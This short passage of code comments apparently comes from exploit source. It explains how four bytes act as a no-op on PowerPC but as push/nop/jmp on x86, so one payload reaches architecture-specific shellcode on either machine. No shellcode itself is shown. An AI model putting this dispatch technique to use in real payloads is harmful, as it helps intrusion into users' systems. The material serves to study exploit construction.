// These four bytes work out to the following instruction

// basically do nothing on osx/ppc.

// However on x86 architecture the four bytes are 3
// instructions:
//
// "push/nop/jmp"
//
// In this way, execution will be taken to the x86 shellcode
// on an x86 machine, and the ppc shellcode when running
// on a ppc architecture machine.
